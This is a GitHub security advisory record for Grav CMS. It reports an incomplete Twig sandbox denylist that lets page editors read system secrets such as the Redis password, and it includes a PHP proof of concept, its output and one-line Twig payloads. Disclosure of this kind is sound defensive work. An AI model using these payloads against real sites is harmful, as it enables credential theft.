{"id":"GHSA-xjw5-q542-3vmr","summary":"Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled","details":"## Summary\n\n`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list\n(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.\nWhen an operator enables the documented, non-default `twig_content.config_access: true`\nsetting (intended to safely expose low-sensitivity values like `site.title` to\neditor-authored Twig content), any real secret stored under `system.*` , for example\n`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via\n`config.toArray()`, to any user with page-edit permission.\n\nThis is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret\nexfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,\nbut the shipped default denylist is incomplete.\n\n## Environment used to verify\n\n- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`\n- PHP 8.3.6 with curl, zip, dom, gd extensions installed\n- Full `composer install --no-dev` run against the real repository (no mocked\n  dependencies) so the actual `Grav\\Common\\Config\\Config` and\n  `Grav\\Common\\Twig\\Sandbox\\SandboxConfig` classes could be exercised directly\n\n## Commands run to set up the verification environment\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\n\n# install missing PHP extensions required by composer.json\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\n\n# composer.phar fetched directly from GitHub releases\ncurl -sL -o /tmp/composer.phar \\\n  \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\n\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n## Proof of Concept\n\nConfirmed the real, currently-shipped config field first, rather than assuming one:\n\n```bash\ngrep -n \"redis\" -A3 system/config/system.yaml\n#   redis:\n#     socket: false\n#     password:                # \u003c- system.cache.redis.password, a real field\n#     database:\n\ngrep -n \"cache.redis.password\" -A6 system/blueprints/config/system.yaml\n#   cache.redis.password:      # \u003c- confirmed exposed in the admin UI as \"REDIS Password\"\n#     type: text\n```\n\n`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of\n`Config` or `SandboxConfig` themselves:\n\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse Grav\\Common\\Config\\Config;\nuse Grav\\Common\\Twig\\Sandbox\\SandboxConfig;\n\n// Real field: system.cache.redis.password\n// (system/config/system.yaml line 138; blueprint in\n// system/blueprints/config/system.yaml, \"cache.redis.password\")\n$configTree = [\n    'system' =\u003e [\n        'cache' =\u003e [\n            'driver' =\u003e 'redis',\n            'redis' =\u003e [\n                'server'   =\u003e '10.0.0.5',\n                'password' =\u003e 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',\n            ],\n        ],\n    ],\n    'plugins' =\u003e [\n        'someplugin' =\u003e ['api_key' =\u003e 'plugin-secret-should-be-blocked'],\n    ],\n    'site' =\u003e ['title' =\u003e 'My Site'],\n];\n\n$config = new Config($configTree);\n\n// exact default list shipped in system/config/security.yaml\n$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];\n\n$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);\n\necho \"plugins.someplugin.api_key: \";\nvar_dump($sandboxConfig-\u003eget('plugins.someplugin.api_key', 'REDACTED'));\n\necho \"system.cache.redis.password: \";\nvar_dump($sandboxConfig-\u003eget('system.cache.redis.password', 'REDACTED'));\n\nprint_r($sandboxConfig-\u003etoArray());\n```\n\nRun:\n\n```bash\nphp sandbox_test.php\n```\n\nOutput:\n\n```\nplugins.someplugin.api_key: string(8) \"REDACTED\"\n\nsystem.cache.redis.password: string(42) \"REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\"\n\nArray\n(\n    [system] =\u003e Array\n        (\n            [cache] =\u003e Array\n                (\n                    [driver] =\u003e redis\n                    [redis] =\u003e Array\n                        (\n                            [server] =\u003e 10.0.0.5\n                            [password] =\u003e REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\n                        )\n\n                )\n\n        )\n\n    [site] =\u003e Array\n        (\n            [title] =\u003e My Site\n        )\n\n)\n```\n\n`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in\nfull both via targeted `get()` and via bulk `toArray()`.\n\n## Confirming the Twig-reachable path is real\n\n`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s\nmethods for use inside sandboxed page-content templates:\n\n```yaml\n- class: 'Grav\\Common\\Twig\\Sandbox\\SandboxConfig'\n  methods: 'get, toarray, value, offsetget, offsetexists'\n```\n\nSo, with `twig_content.process_enabled: true` and `twig_content.config_access: true`\nboth set (both documented, operator-controlled settings), a page containing:\n\n```twig\n{{ config.get('system.cache.redis.password') }}\n```\n\nor\n\n```twig\n{{ config.toArray() }}\n```\n\nrenders the real Redis password directly into the page output for any user with\npage-edit permission.\n\n## Impact\n\nAny site that (a) uses Redis for caching with a password set, and (b) has enabled the\ndocumented `config_access` opt-in (intended only to expose things like `site.title`),\nexposes that Redis password , and potentially other future `system.*` secrets , to\nevery user with page-edit access, not just administrators. This defeats the purpose of\nthe redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific\ncombination of otherwise-legitimate settings.\n\n## Suggested fix\n\nAdd `system` to the default `config_denied_paths` list in\n`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and\nany other subtree confirmed non-sensitive) so a future secret-bearing config key added\nunder `system.*` doesn't silently bypass the sandbox by default.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value\n- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its\n  input; the gap is in the default list passed to it)\n```","aliases":["CVE-2026-76846"],"modified":"2026-09-17T20:45:05.213739148Z","published":"2026-09-17T20:27:05Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-522"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-17T20:27:05Z"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76846"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.16"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0","2.0.0-beta.1","2.0.0-beta.2","2.0.0-beta.3","2.0.0-beta.4","2.0.0-rc.1","2.0.0-rc.10","2.0.0-rc.2","2.0.0-rc.3","2.0.0-rc.4","2.0.0-rc.5","2.0.0-rc.6","2.0.0-rc.7","2.0.0-rc.8","2.0.0-rc.9","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 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